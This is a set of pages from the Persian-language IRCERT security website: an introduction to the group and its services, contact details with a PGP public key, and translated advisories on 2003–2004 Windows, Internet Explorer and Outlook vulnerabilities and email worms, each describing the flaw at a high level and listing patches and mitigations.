﻿ IRCERT درباره

صفحه اول > درباره ما

معرفی IRCERT

در اغلب کشورهای جهان علاوه بر وجود دهها و صدها سایت امنیت شبکه که به صورت فعال به اطلاع رسانی ، آموزش و یا هماهنگی های مختلف در زمینه امنیت شبکه می پردازند، به صورت خاص گروههایی از بخش غیر دولتی وجود دارند که به نوعی مرجع رسمی در این زمینه می باشند. گروه امداد امنیت کامپیوتری ایران نیز با همین هدف و در همین راستا ایجاد شده است. باید توجه داشت که مرجعیت این گروهها می تواند در زمینه های زیر مطرح شود:

الف) اطلاع رسانی (مستند و قابل اطمینان بودن اطلاعات)

ب) آموزش (اعتبار مدارک و دوره ها)

ج) مشاوره ، پیشگیری و پاسخگویی (ایجاد اطمینان در زیر ساختها)

د) تست و ارزیابی امنیتی (شبکه ها و سایتهای تایید شده)

ه) ارتباط و هماهنگی با مؤسسات ، سازمانها و شرکتهای بین المللی و داخلی

البته فهرست فوق تمامی وظایف و اهداف گروه را بیان نمی کند، اما بیانگر بخش عمده ای از فعالیتهای این گروه و گروههای مشابه است.

سایت گروه

در ابتدای کار و برای شروع اطلاع رسانی و آموزش عمومی، سایت گروه راه اندازی شده است تا بتواند بخشی از اهداف را با کمک این رسانه پوشش دهد. بخشهای اصلی موجود در این سایت عبارتند از:

  1. راهنمایی های امنیتی

به محض وقوع یک حادثه امنیتی و یا ارسال گزارش هایی مبنی بر وقوع یک شکاف امنیتی که ممکن است باعث وقوع مشکلی شود ، این بخش از سایت، شما را در جریان چگونگی مشکل و یا رویداد امنیتی قرار میدهد. در واقع این بخش، مرجع رسمی مشکلات امنیتی خواهد بود. علاوه بر بیان و شرح مشکل امنیتی، این بخش راههای کوتاه مدت و یا دراز مدت برخورد با هر مشکل امنیتی را به کاربران آموزش میدهد. بعنوان مثال به محض شیوع یک ویروس جدید شما نه تنها از وقوع چنین رویدادی مطلع خواهید شد، بلکه روشهای شناسایی آن بر روی سیستم خود و نحوه پاک کردن ویروس یا حداقل کاهش حجم تخریب آنرا فرا خواهید گرفت. بنابراین علاوه بر دریافت خبر رسمی مرجع کلیه عملیات امنیتی سیستم شما این بخش از سایت خواهد بود.

  2. اخبار و هشدارهای امنیتی

این بخش از سایت شما را جریان آخرین اخبار مرتبط با امنیت سیستمهای کامپیوتری قرار میدهد. باید توجه کنید که میزان رسمیت این بخش از بخش اول کمتر است، در عوض ممکن است در این بخش بیشتر به حواشی و جوانب رویدادهای امنیتی پرداخته شود. بخش اخبار کمتر از بخش راهنماییها وارد مسائل فنی می شود.

  3. مقالات مرتبط با امنیت سیستم های کامپیوتری

در بخش مقالات عموما مخاطبین ما افراد متخصص یا دست اندرکاران سیستمهای کامپیوتری و فناوری اطلاعات خواهد بود، اما در هر حال مخاطبین عام را نیز از نظر دور نخواهیم داشت و در زمینه ارتقا دانش امنیتی آنها نیز در این بخش مقالاتی خواهیم داشت. عموم تلاش مدیران سایت در حال حاضر ایجاد یک پایگاه دانش نسبتا جامع در زمینه مقولات مرتبط با امنیت سیستمهای کامپیوتری ست. در این زمینه مدیران سایت از هرگونه همکاری متخصصین استقبال میکنند.

  4. معرفی ابزارهای امنیتی

در این بخش ابزارهای مورد استفاده در زمینه امنیت شبکه به کاربران معرفی میشود. محدوده ابزارهایی که معرفی خواهند شد از فایروالهای شخصی تا فایروالهای شبکه ، سیستم های تشخیص نفوذ ، اسکنرها ، ضد ویروسها و ... خواهد بود. بعبارتی سعی خواهد شد تا نیازهای کاربران خانگی و غیر متخصص و همچنین نیازهای مدیران شبکه ها و کارشناسان کامپیوتر در کنار هم در نظر گرفته شود.

  5. معرفی سایتهای دیگر فعال در زمینه امنیت شبکه و کامپیوتر

امروزه در سراسر دنیا این یک اصل پذیرفته شده است که بدون اشتراک منابع و اطلاعات هیچ سازمانی(چه خصوصی و چه دولتی) قادر به تامین امنیت سیستمهای خود نخواهد بود. بنابراین اصل اشتراک منابع ، تخصصها و اطلاعات در زمینه امنیت شبکه کاملا پذیرش و مقبولیت عام دارد. لذا در این بخش به معرفی سایر گروهها و سایتهای فعال در زمینه امنیت شبکه پرداخته خواهد شد تا بتواند هماهنگی و ارتباط مستمری را میان گروههای مختلف امنیت شبکه در کشور ایجاد کند..

سایرخدمات گروه

به جز راه اندازی سایت، این گروه خدمات ذیل را نیز ارائه می دهد:

  1. ارائه مشاوره امنیتی در زمان طراحی شبکه های گوناگون ، از شبکه های محلی
    تا شبکه     های گسترده

  2. محک زنی امنیتی شبکه های موجود ، از کامپیوترهای شخصی کاربران انتهایی تا
    تجهیزات     شبکه و سرورها از نظر سخت افزاری و نرم افزاری .

  3. برگزاری دوره های آموزشی امنیت کامپیوتر و شبکه برای مدیران شبکه ها وکاربران
    عادی و     اعطای مدارک و گواهینامه های مرتبط

  4. تحلیل امنیتی محصولات سخت افزاری و نرم افزاری جدید

  5. پاسخگویی به مشکلات امنیتی

  6. ارائه مشاوره در زمینه جرایم رایانه ای

  7. ارائه مشاوره در زمینه استانداردسازی و تعیین سیاستهای امنیتی سازمانی و ملی

گروه امداد امنیت کامپیوتری ایران امید دارد تا با مدد شرکتها و سازمانهای دولتی ، غیر انتفاعی و خصوصی فعال در این زمینه ، بتواند از یک طرف گامی در جهت ایجاد امنیت در کامپیوترها و شبکه های ارتباطی بردارد و از طرف دیگر با جلب اعتماد کاربران ،آنان را به استفاده بیشتر و بهتر از این فناوری سوق دهد.


﻿ IRCERT ارتباط با

جهت ارتباط با گروه امداد امنیت کامپیوتری ایران می توانید با شماره تلفن 2866262-021 و یا ایمیل: info@ircert.com تماس بگیرید.ضمنا شما می توانید برای اطمینان از امنیت ایمیل خود آن را رمز نموده و سپس برای ما ارسال نمایید.

اگر با شیوه رمز کردن ایمیل آشنایی ندارید می توانید به بخش ابزارهای سایت مراجعه کرده و با PGP آشنا شوید. کلید عمومی گروه در این فایل در دسترس است.

کلید عمومی گروه امداد امنیت کامپیوتری ایران :

-----BEGIN PGP PUBLIC KEY BLOCK-----

Iran CERT <www.ircert.com>

mQENBECLzV0BCAC5rda9Al8SD5rJ6bb3J+TMVbMOa+ui334z1uH26gY/RKGOoyCT

DK7r3k8BR+o7aB1dbZwxQjVbM5/adimCwIl1woH1Ut0l4tlY78+5dxGnji4loblC

HN25KeEbDznVSboUI6qCCBpB7pfGN/IIjN+X4l8vmMHCV78CSJ5Kzx8ppfhyiNVe

nJBAR1yQTGVOgrYapBSdKMo2e+ctFmERQNCAU2MUsx3HvIWToOIe1/Zlm3flpiXe

zUM31mrA4cxzvtzTrL+Y6OVp4SWJNCUJUTRYgpJGFR6VmXE4kW52coLZ0/jkknRa

/n5atesCNc9UU9Cx39c305YctbdE3qI5XQXtABEBAAG0G0lyYW4gQ0VSVCA8aW5m

b0BpcmNlcnQuY29tPokBLgQQAQIAGAUCQIvNXQgLAwkIBwIBCgIZAQUbAwAAAAAK

CRAfh4SbHrEp9lRPCAC0GUcgNaE7FkIC25LRTNHKeGiZKcX1tVaFOgwBF2sD4g3b

uU5izyaTdpfyeB0mpjo06Bwo5W/XF+17U8jeQa/gJ2NdgeRFulzghmCtHnyG0EcG

MKOntbDvN60pFXqdlYCFsaVReeyOaKHlJfwAFDXUFVVuwHobIA2cW0eAKDLVeK68

0OdQH/Bmp3OtMTCP6lhn4CXStOJIBkW542vDbymYboMzx373OtSYISb0WU1vBIok

eEPLeo8fpgTe2xX2iFGnHDQ5XE8Zd3XClD73CGyfuiRTtov4qa9Cpbb4wMQlokFC

8POwgeLrOpOdDo2DXde71vIOdaOOk06aTsjvdG3JuQENBECLzV8BCADCX/tdd324

akcYap4hEDfdSbOX70xTKdMnIwWOsYS2BRp64rYhIg0EMkrA32cXhl7R74MwFQyK

sqCR/CK/bW5A6JLmx1wF1wG1lV46EBqdXXI7IVHDqfawilTtvpKVtvzrnLDuXLI2

gTjsMVBKcPcaF08/hUP/fesktmVjhzKCSKA2PBwt0VtZuRy9hQoEhFzJ1EKYcSUy

E2zM4rieX0cXx8K2AodFudp5ehqRsNQcUbYmbPnEEHJye5uQ/UsBN6Z0MB26MUv8

LklWggtMFi0tW1f5ijGgiVNwQ+PwllFRDIbF8zyrtMM8YQ99ub9ji6X+uLJoi+vP

E+55D0z43wGFABEBAAGJASIEGAECAAwFAkCLzV8FGwwAAAAACgkQH4eEmx6xKfY6

0QgAqBXwuV5SmViMcKIjGWb1cUEiFSNlsJWn6vjbf0nTD8M/hFPs9uPyjRPN4MgW

z4UW1X5+1JguT0JxD98GrBqznNgdqFvIUeFAYxVc70mkT8A4l6sSnM7yl3YSMytr

2Evkbee5mukNsKbYz7TLKUvO+uI1Xidl5jtR6suudcXib5jWqC5GoVF/Us5h7hbD

4JFFpddL6mKD7fKXGI+T7rrtrfrZlME7299PrLk5nSt6DoO2U9OVUa5sMFptqBNX

kTb/WHui4HMmDJJ/fcwnYl39rPn1HDrB1fC4iyR8Enuf+mJB19QSW3dT4V/dtGee

QWKDTCSsGIFE7E6TeTSaGLOXbQ==

=Ql8N

-----END PGP PUBLIC KEY BLOCK-----


گروه امداد امنیت کامپیوتری ایران

آخرین به روز رسانی : 1 8/7/84

مایکروسافت: مشکلات امنیتی فایرفاکس سودی برای ما ندارد

چند اصلاحیه برای ویندوز

Sober خود را در کلاس درس پنهان میکند

مشکل امنیتی در ضدویروس Symantec

هکرها تلفن همراه را تهدید می کنند
کاسپرسکی مشکل ضدویروس خود را تایید کرد

ادامه...

گزارش CERT از وضعيت امنيت شبكه در سال 2004

ارزش تجاری امنیت
آشنایی با حملات pharming

هفت مشکل امنیتی مهم شبکه های بی سیم 802.11 :‌بخش آخر

هفت مشکل امنیتی مهم شبکه های بی سیم 802.11 :‌بخش چهارم
هفت مشکل امنیتی مهم شبکه های بی سیم 802.11 :‌بخش سوم

ادامه...

شیوه استفاده از راهنماییها
خطای سرریزی بافر در Microsoft Jet Database Engine
شکاف امنیتی ناشی از اعتبار سنجی نامناسب پارامترهای ارسالی به XmlHttpRequest در Internet Explorer
Backdoor.Hesive
Bypassing Personal Firewall (ZoneAlarm Pro) Protection

ادامه...

در اغلب کشورهای جهان علاوه بر وجود دهها و صدها سایت امنیت شبکه که به صورت فعال به اطلاع رسانی، آموزش و یا هماهنگی های مختلف در زمینه امنیت شبکه می پردازند، به صورت خاص گروههایی از بخش غیر دولتی وجود دارند که به نوعی مرجع رسمی در این زمینه می باشند. گروه امداد امنیت کامپیوتری

ایران نیز با همین هدف و در همین راستا ایجاد شده است.

ادامه...

انجمن رمز ایران
پروژه فرهنگ سازی،تربیت و آموزش در امنیت شبکه
مرکز امنیت شبکه شریف
شر کت مشورت
شرکت مهندسی مهران رایانه ادامه...

خدمات گروه

مشاوره امنیتی

سمینارهای آموزشی

گزارشها

گزارش همایش بررسی پیش نویس سند ملی امنیت فضای تبادل اطلاعات کشور

نظرخواهی قانون مجازات
 جرایم رایانه ای

گزارش CERT/CC از وضعیت
امنیت شبکه در سال 2003

گزارش اختصا صی گروه امداد
امنیت کامپیوتری ایران از
CEBIT 2004

SuperScan، قسمت دوم

SuperScan، قسمت اول
Ethereal، بخش سوم

Ethereal، بخش دوم

Ethereal، بخش اول

ادامه...


﻿ IRCERT - راهنماییها- WorkStationوجود شکاف امنیتی در سرویس

راهنمای امنیتی:

وجود شکاف امنیتی در سرویس WorkStation

(Windows XP,2000,…)

تاریخ: 11/11/2003

منبع: CERT/CC

منبع اصلی: eEye Digital Security

شماره CVE: CAN-2003-0812.

سیستمهای تحت تاثیر:

  • Microsoft Windows 2000 Service Pack 2, Service Pack 3, Service Pack 4
  • Microsoft Windows XP
  • Microsoft Windows XP Service Pack 1
  • Microsoft Windows XP 64-Bit Edition

چکیده

وجود یک شکاف امنیتی در سرویس WorkStation ویندوز (WKSSVC.DLL) .

این شکاف امنیتی به نفوذگر این اجازه را میدهد که با استفاده از تکنیک سرریز حافظه به اجرای کد مورد نظر خود بر روی کامپیوتر بپردازد یا سرویسهایی ازان را از کار بیاندازد (انجام حمله جلوگیری از ارائه خدمت)

توضیح

این شکاف امنیتی در بخش مربوط به مدیریت شبکه سرویس DCE/RPC ویندوز در داخل روتین لاگر مربوط به این سرویسها یافت شده است. تعداد زیادی از روتینهای موجود در سرویس RPC روتین VSPrintf() را که در این سرویس جهت ذخیره سازی لاگها به کار میرود را صدا میزنند. VSPrintf هیچ نوع چکی را بر روی طول ورودی اعمال نمیکند.

با ارسال یک رشته طولانی به یکی ازین روتینها میتوان ماشین مورد نظر را از کار انداخت یا قطعه کدی را بر روی آن اجرا کرد.

تاثیرات

  • نفوذگر میتواند کد مورد نظر خود را با اختیارات مدیر سیستم بر روی ماشین مورد نظر اجرا کند.

راه حل

  • اعمال Patch ارائه شده توسط میکروسافت در بولتن امنیتی MS03-049
  • در صورت عدم انجام قسمت قبل میتوانید دسترسی از خارج را به پورتهای 138، 139 و 445 ماشین خود محدود کنید. البته این روش به شرطی موثر است که حمله از داخل شبکه شما صورت نپذیرد.
  • از کار انداختن سرویس Workstation

این راه حل بیشتر مناسب کاربران خانگی است که کامپیوتر آنها به شبکه ای متصل نیست، زیرا از کار انداختن این سرویس موجب از کار افتادن خدمات زیر میشود:

· Alerter

· Browser

· Messenger

· Net Logon

· RPC Locator

مشخصا با از کار افتادن این سرویس دسترسی به منابع شبکه ای ممکن نیست.

نکته

کاربران Dialup و DSL خانگی میتوانند بدون مشکل در صورت عدم دسترسی به وصله امنیتی مربوطه این سرویس را از کار بیاندازند.


﻿ IRCERT - راهنماییها- Internet Explorerشکافهای امنیتی

راهنمای امنیتی:

شکافهای امنیتی Internet Explorer

تاریخ: 6/9/2003

منبع: CERT/CC

منبع اصلی:

سیستمهای تحت تاثیر:

  • Internet Explorer 5.01
  • Internet Explorer 5.50
  • Internet Explorer 6.01

چکیده

وجود چندین شکاف امنیتی در مرورگر میکرسافت تا کنون تایید شده که میتواند باعث شود تا یک نفوذگر قطعه کدی را با اختیارات کاربر جاری بر روی سیستم میزبان اجرا نماید.

توضیحات

بولتن امنیتی شماره MS03-032 میکروسافت چندین شکاف امنیتی IE را تشریح میکند که در زیر به آنها اشاره شده است. باید توجه کرد که علاوه بر خود IE هر برنامه ای که از Microsoft Rendering Engine برای نمایش HTML استفاده میکند ممکن است تحت تاثیر این حملات واقع شود. شکافهای امنیتی ذکر شده درین بولتن به صورت خلاصه به شرح زیرند:

  • عدم ارزیابی صحیح فیلدهای Content-Type و Content-Disposition توسط IE
    • شماره CVE: CAN-2003-0531
    • یک شکاف امنیتی Cross Domain در نحوه ارزیابی این فیلدها توسط IE وجود دارد که باعث میشود نفوذ گر بتواند قطعه کدی را در یک دامنه با استفاده از اختیارات دامنه دیگری اجرا کند(از جمله در دامنه ماشین میزبان)
  • عدم ارزیابی صحیح "application/hta" MIME type که توسط خصوصیت DATA توسط OBJECT مورد ارجاع قرار گرفته اند
    • شماره CVE: CAN-2003-0532, CAN-2003-0838, CAN-2003-0809
    • IE برنامه ای از نوع HTA (HTML Application)را که توسط خصوصیت DATA از شی OBJECT مورد ارجاع قرار گرفته اجرا میکند. البته این در صورتی ست که Content-Type بازگشتی از طرف سرور وب به صورت Application/hta باشد. نفوذگر میتواند با بهره گیری ازین شکاف امنیتی کدی را با اختیار کاربر مرورگر وب بر روی ماشین میزبان اجرا نماید.
  • شکاف امنیتی اکتیو اکس BR549.DLL
  • عدم نمایش و ارزیابی صحیح تگ Input Type
    • وجود این شکاف امنیتی باعث میشود تا امکان اجرای یک حمله جلوگیری از ارائه خدمت (Denial Of Servive) به مرورگر میکروسافت وجود داشته باشد.
  • وجود خطای سر ریز بافر در مشخصه Type از شی Object در سیستمهای دو بایتی
    • این شکاف امنیتی تنها در برخی از نسخه های IE که از Character Set های دو بایتی (DBCS) پشتیبانی میکنند وجود دارد.
    • شماره CVE: CAN-2003-0344

تاثیرات

محدوده تاثیرات هر کدام ازین شکافهای امنیتی متفاوت است. این محدوده میتواند از یک حمله جلوگیری از ارائه خدمت (DoS) تا اجرای کد توسط نفوذگر گسترده باشد. جدی ترین و خطرناکترین شکافهای بالا شکاف مربوط به HTA ها ست. با استفاده ازین شکاف امنیتی نفوذگر میتواند کاربر را مجاب کند تا از صفحه خاصی بر روی وب بازدید کند (این کتار میتواند توسط یک ایمیل انجام شود) بدین ترتیب نفوذگر به سادگی و بدون هیچگونه تعاملی با کاربر میتواند به اطلاعات شخصی او دست یابد.

راه حل

  • اعمال وصله امنیتی مندرج در بولتن شماره MS03-040 میکروسافت


﻿ IRCERT - ویروسهای مبتنی بر ایمیل - راهنماییها

راهنمای امنیتی:

ویروسهای مبتنی بر ایمیل

سیستمهای تحت تاثیر

  • تمامی سیستمهایی که یکی از نسخه های ویندوز میکروسافت بر روی آنها اجرا میشود.

چکیده

در طی هفته های اخیر چندین ویروس اینترنتی مبتنی بر ایمیل مشاهده شده است. کاربران لازم است نحوه مقابله با این نوع ویروسها و یا شناسایی آنها را بدانند.

توضیحات

در طی هفته های اخیر حداقل سه ویروس مبتنی بر ایمیل بر روی اینترنت مشاهده شده است: W32/MyDoom، W32/Norvag، W32/Bagle. این ویروسها تاثیرات عمده بر روی شبکه ها و نیز کامپیوتر کاربران گذاشته اند که با توجه به تکنیکهای مشابه به کار رفته در هر یک ازانها که حتی با انواع قبلی خود مانند W32/Sobig و W32/Mimail تفاوت چندانی ندارند ، لازم است تا کاربران با این روشها آشنایی بیشتری پیدا کنند.

تکنیک عمده به کار رفته در این نوع ویروسها استفاده از روشهای مهندسی اجتماعی ست. با استفاده ازین روشها دریافت کننده ایمیل مجاب میشود تا ایمیل رل باز کرده حتی فایل پیوست شده به ایمیل را نیز اجرا نماید که این مطلب منجر به آلوده شدن سیستم میشود. با توجه به این مطلب لزوم توجه کاربران به عدم دریافت ایمیلهای مشکوک ، عدم اجرای پیوستها ، بستن پورتهای غیر ضروری بر روی فایروالها ، استفاده از Mail Server هایی که دارای Anti Virus های قوی هستند و نیز اجرای یک نسخه بروز شده از یک Anti Virus ، روز به روز جدی تر میشود.

تاثیرات

  • سرقت اطلاعات
    • اغلب اینگون ویروسها اولین کاری که انجام میدهند بررسی Address Book های موجود بر روی کامپیوتر میزبان است. سپس ازین آدرسها به روشهای مختلف استفاده میکنند. مثلا میتوانند یک نسخه از خود ویروس را به هر یک ازین ازین آدرسها بفرستند. حتی ممکن است بعضی از فایلها و یا اطلاعات شما را به این آدرسها ارسال کنند.
  • ایجاد-تغییر-حذف فایلها
    • ویروس پس از اجرا میتواند هر تغییری را در فایلهای کامپیوتر میزبان ایجاد کند. تغییر یا حذف برخی ازین فایلها ممکن است باعث ایجاد مشکلات جدی در نحوه کرکرد برنامه های کاربر شود.
  • کاهش کارایی سیستم
    • برخی از ویروسها مقادیر زیادی از زمان CPU یا حتی پهنای باند شبکه را به خود اختصاص میدهند که این مساله باعث کندی و عدم کارایی کامپیوتر میزبان میشود
  • ایجاد یک Back Door
    • بسیاری ازین ویروسها یک Back Door بر روی کامپیوتر میزبان ایجاد میکنند. ایجاد Back Door به نفوذگر کمک میکند تا به اطلاعات کامپیوتر میزبان دست یابد یا حتی کنترل آنرا در برخی موارد به دست بگیرد. در برخی موارد خاص ازین Back Door برای اجرای یک حمله گسترده جلوگیری از ارائه خدمت (DDoS) استفاده میشود.
  • ارسال حجم بالایی از ایمیلهای ناخواسته (Spam)

راه حل

  • اجرا و نگهداری یک ضد ویروس کاملا بروز
  • عدم اجرای هیچ برنامه ای با منبع نامشخص
  • استفاده از فایروال شخصی
  • استفاده از فیلتر


﻿ IRCERT - راهنماییها- Microsoft Outlook 2002 شکاف امنیتی در

راهنمای امنیتی:

شکاف امنیتی در Microsoft Outlook 2002

تاریخ: 10 مارس 2004 (20 اسفند 1382)

منبع: US-CERT

سیستمهای تحت تاثیر:

  • Microsoft Office XP تا Service Pack 2
  • Microsoft Outlook 2002 تا Service Pack 2

چکیده

یک شکاف امنیتی که طی آن Outlook 2002 با نوع خاصی از URL‌ سروکار دارد و به یک حمله‌کننده اجازه اجرای کدهای دلخواه وی را در سیستم آسیب‌پذیر می‌دهد.

توضیح

Microsoft Outlook یک برنامه متمرکز را برای مدیریت و سازماندهی پیامها، زمانبندیها، کارها، یادداشتها، تماس‌ها و اطلاعات دیگر فراهم می‌کند. Outlook یکی از اجزای نسخه‌های جدیدتر Microsoft Office است و بعنوان یک محصول مجزا نیز وجود دارد.

Outlook 2002 بدلیل عدم بررسی کافی پارامترهایی که به کلاینت ایمیل Outlook داده می‌شود، یک شکاف امنیتی ایجاد می‌کند. این آسیب از طریق ترجمه یک URL “mailto:” ایجاد می‌گردد. یک نفوذگر با ایجاد نوع خاصی از URLهای “mailto:” می‌تواند باعث اجرای اسکریپت‌های دارای حقوق بالا شود که نهایتا منجر به اجرای کدهای دلخواه حمله‌کننده می‌شود. این کدها از طریق پیامهای ایمیل به قالب HTML یا از طریق صفحات وب ناخواسته به سیستم قربانی وارد می‌شود.

Microsoft در ابتدا ادعا کرد که تنها کاربرانی در معرض این خطر قرار دارند که Outlook 2002 در سیستم آنها بعنوان پیش‌فرض برای خواندن ایمیل‌ها انتخاب شده‌باشد و صفحه وب “Outlook Today” صفحه‌وب پیش‌فرض ‌آنها باشد. اطلاعات منتشرشده بعدی نشان می‌دهد که این مطلب صحیح نیست و کاربران در سایر وضعیتها نیز از طریق نفوذهایی با کمی تفاوت در معرض خطر قرار دارند.

تاثیر

یک حمله‌کننده می‌تواند کد دلخواه خود را روی سیستمی که در حال اجرای نسخه آسیب‌پذیر Outlook است، اجرا کند.

راه حل

  • اعمال Patch ارائه شده توسط میکروسافت در بولتن امنیتی MS04-009
  • در صورت عدم دسترسی به Patch مذکور، مایکروسافت توصیه می‌کند که از صفحه خانگی“Outlook Today” در Outlook 2002‌ استفاده نکنید.
  • چنانچه از Outlook 2002 یا Outlook Express 6.0 SP1 یا بالاتر استفاده می‌کنید پیامها را در قالب plain text (متن ساده) بخوانید تا از نفوذها از طریق پیامها با فرمت HTML جلوگیری شود.


﻿ IRCERT - تهدیدهای مداوم برای کاربران خانگی و راههای مقابله - راهنماییها

تهدیدهای مداوم برای کاربران خانگی و راههای مقابله

تاریخ: 19 مارس 2004 (۲۹ اسفند ۱۳۸۲)

منبع: US-CERT

چکیده

بخشهایی از کدهای آسیب‌رسان از طریق پیوست‌ نامه‌های الکترونیکی، شبکه‌ها و شکاف‌های امنیتی نرم‌افزارهای شناخته‌شده در حال گسترش هستند. نفوذگران کاربران خانگی را که از مودم و ارتباطات ‌DSL استفاده می‌کنند مورد هدف قرار می‌دهند چرا که بسیاری از این کاربران کامپیوترهای خود را با patch های امنیتی به‌روز نمی‌کنند و نرم‌افزار ضدویروس به‌روز شده را اجرا نمی‌کنند و بهنگام بررسی پیوست نامه‌های الکترونیکی احتیاط نمی‌کنند. هرکسی باید اقدامات پیشگیرانه را رعایت کند و در صورتیکه مورد نفوذ قرار گرفت، نفوذ صورت گرفته را خنثی کند.

تهدیدهای فعلی

در حال حاضر خطرات زیر بیش از سایرین، کامپیوترها را مورد حمله قرار داده‌اند:

· اسب تروای Pathbot

این اسب تروا بخشی از یک کد آسیب‌رسان است که به یک حمله‌کننده در جایی دیگر اجازه می‌دهد که کنترل تعداد زیادی از سیستمها را در دست گیرد. Pathbot تلاش می‌کند که با استفاده از شکافهای موجود در سیستم‌عامل ویندوز در سیستمهایی که کاربران آنها ازpathهای مناسب استفاده نکرده‌اند منشر شود. اگر کامپیوتر شما آلوده شده است، یک نفوذگر از جایی دیگر به فایلهای و برنامه‌های شما دسترسی خواهد یافت.

· ویروس W32/Beagle

این یک ویروس با حجم زیاد ایمیل است که بعنوان پیوست یک نامه الکترونیکی وارد می‌شود. با بازکردن پیوست سیستم آلوده می‌شود. انواع مختلفی از این ویروس وجود دارد. بعضی از آنها ممکن است به کلمه عبور که در نامه الکترونیکی وجود دارد، احتیاج داشته باشند.

· ویروس W32/Netsky.B

این ویروس که در IN-2004-02 توصیف شده است، ویروسی با حجم زیاد ایمیل است که تلاش می‌کند از طریق پیوست نامه یا با کپی‌کردن خودش روی فایلهای اشتراکی شبکه‌های تحت ویندوز منتشر شود.

· ویروس W32/MyDoom.B

این ویروس که در TA04-028A توصیف شده است، ویروس با حجم زیاد ایمیل است که انتشار آن از طریق پیوست نامه‌های الکترونیکی صورت می‌گیرد.

اعمال محافظتی

گامهایی برای حفاظت بهتر از سیستم شما در مقابل این حملات وجود دارد:

۱. استفاده از Patch ها

بسیاری از ویروسها با استفاده از شکافهای امنیتی شناخته‌شده گسترش پیدا می‌کنند. برای کاربران به کاربردن patch های مرتبط به امنیت در سیستمهای عامل و برنامه‌های کاربردی بسیار مهم است.

۲.نصب و نگهداری نرم‌افزار ضدویروس

استفاده از نرم‌افزار ضدویروس اکیدا توصیه می‌گردد. بیشتر نرم‌افزارهای ضدویروس فعلی ویروسها را کشف و کاربر را از وجودشان آگاه می‌کنند. به‌روز نگهداشتن این نرم‌افزارها بسیار مهم است. بسیار از بسته‌های ضدویروس به‌روز رسانی را بصورت خودکار انجام می‌دهند که استفاده از این ضدویروسها توصیه ‌می‌شود.

۳.استفاده از Firewall

استفاده از firewall نیز توصیه ‌می‌شود. در بعضی مواقع، این محصولات ممکن است قادر به مطلع کردن کاربر از تحت نفوذ قرار گرفتن سیستمشان باشند. بعلاوه، آنها توانایی جلوگیری از نفوذگران را از دسترسی به شکافهای امنیتی شبکه دارند.

۴.اعمال زیر را انجام دهید.

موارد تکنیکی فوق راه حل کاملی برای امن نگهداشتن یک سیستم نیستند. علاوه بر آنها، اعمال زیر پیشنهاد می‌شود:

  • هیچ برنامه‌ای را دانلود، نصب و اجرا نکنید مگر اینکه توسط یک شخص یا شرکت قابل اطمینان ایجاد شده باشد.
  • مواظب پیوستهای ناخواسته باشید. از منبع پیوست قبل از بازکردن آن مطمئن شوید.همچنین بخاطر داشته باشید که دانستن اینکه مبدا ایمیل برای شما شناخته شده است، کافی نیست. گسترش بسیاری از ویروسهای بدلیل آشنا بودن آدرس فرستنده است.
  • کاربران همچنین باید مواظب URLهای موجود در پیام‌های فوری و ایمیل‌ها باشند. زیرا بعضی از این URLها به بازکردن صفحاتی منجر می‌شود که حاوی کدهای آسیب‌رسان هستند.

  • بعلاوه،‌ کاربران پیام‌های فوری و اتاق‌های گفتگو مراقب لینکها باشند. این یکی از روشهایی است که نفوذ‌گران برای حملات Denial-of-Service (DoS) استفاده می‌کنند.

ترمیم

چنانچه انجام تمام مراحل فوق در مورد سیستمی که قبلا مورد نفوذ قرار گرفته کارساز نشد، آخرین کار، نصب مجدد سیستم عامل و استفاده از Patch ها قبل از اتصال به شبکه است. گاهی استفاده از برنامه ضدویرس برای پاک کردن سیستم کافی نیست.


﻿ IRCERT - راهنماییها- Outlook Express MHTMLشکاف امنیتی بین دامنه‌ای در بدست‌گیرنده پروتکل

راهنمای امنیتی:

شکاف امنیتی بین دامنه‌ای در بدست‌گیرنده(Handler)
پروتکل Outlook Express MHTML

تاریخ انتشار اولیه : 8 آوریل 2004 ( ۲۰ فرودین ۱۳۸۳)

تاریخ تجدید نظر و اصلاح : 13 آوریل 2004 ( ۲۵ فرودین ۱۳۸۳)
منبع: US-CERT

سیستمهای تحت تاثیر:

  • سیستمهای ویندوز

چکیده

یک شکاف امنیتی بین دامنه‌ای در Handler پروتکل MHTML که به حمله‌کننده اجازه اجرای کد دلخواه را با حقوق فردی که آن را طلب کرده است، می‌دهد. نفوذکننده بعلاوه ممکن است بتواند دیتای روی وب‌سایتهای سایر دامنه‌ها را بخواند و دستکاری کند.

توضیح

یک شکاف امنیتی در مسیر Handler پروتکل MIME که دامنه امنیتی دیتای رجوع داده شده توسط URL‌ مشخص‌کننده محل دیگر را تعیین می‌کند، وجود دارد. هنگامی که MHTML Handler‌ یک فایل خارج از دسترس یا ناموجود را آدرس می‌دهد، می‌تواند به فایلی از مکانی دیگر دست یابد. MHTML Handler به نادرستی با این فایل رفتار می‌کند انگار که در همان محل فایل ناموجود بوده است.

این MHTML Handler بعنوان بخشی از Outlook Express مطرح است و بطور پیش‌فرض روی همه سیستمهای ویندوز فعلی نصب می‌گردد. این Handler‌ یک جزء اشتراکی ویندوز است. هر برنامه‌ای که ارجاع پروتکل MHTML به سیستم عامل را با خود دارد، Handler را مطالبه می‌کند (معمولا توسط IE).

شماره CVE اختصاص داده‌شده CAN-2004-0380 است.

تاثیر

با متعاقد کردن یک کاربر برای دیدن یک فایل HTML همچون یک صفحه وب یا پیام به فرمت HTML ، نفوذگر می‌تواند به دیتا دسترسی یابد یا اسکریپتی را در یک دامنه امنیتی متفاوت از دامنه‌ای که دربردارنده فایلهای نفوذگر است، اجرا نماید. نفوذگر همچنین ممکن است بتواند دیتای سایر وب‌سایتها را بخواند یا تغییر دهد.

کد بهره‌برداری از این آسیب‌پذیری در دسترس عموم قرار دارد و گزارشهای استفاده از این آسیب‌پذیری نیز منتشر شده است. اسب‌تروای Ibiza، انواع W32/Bugbear و ‌BloodHound.Exploit.6 مثالهایی از کدهای آسیب‌رسان هستند که از این شکاف امنیتی بهره می‌برند.

هنگام ارجاع به یک فایل MHTML ناموجود یا غیرقابل دسترس با استفاده از پروتکهای ITS و mhtml:، IE می‌تواند به یک فایل CHM (Compiled HTML Help) از یک محل دیگر دسترسی یابد. بدلیل وجود این شکاف امنیتی در MHTML Handler ، IE‌ به نادرستی با فایل CHM طوری رفتار می‌کند انگار که در همان دامنه فایل MHTML ناموجود قرار دارد. با استفاده از یک URL دستکاری شده، یک نفوذگر می‌تواند باعث اجرای اسکریپت دلخواه در فایل CHM در یک دامنه دیگر گردد.

راه حل

  • اعمال Patch ارائه شده توسط میکروسافت در بولتن امنیتی MS04-013
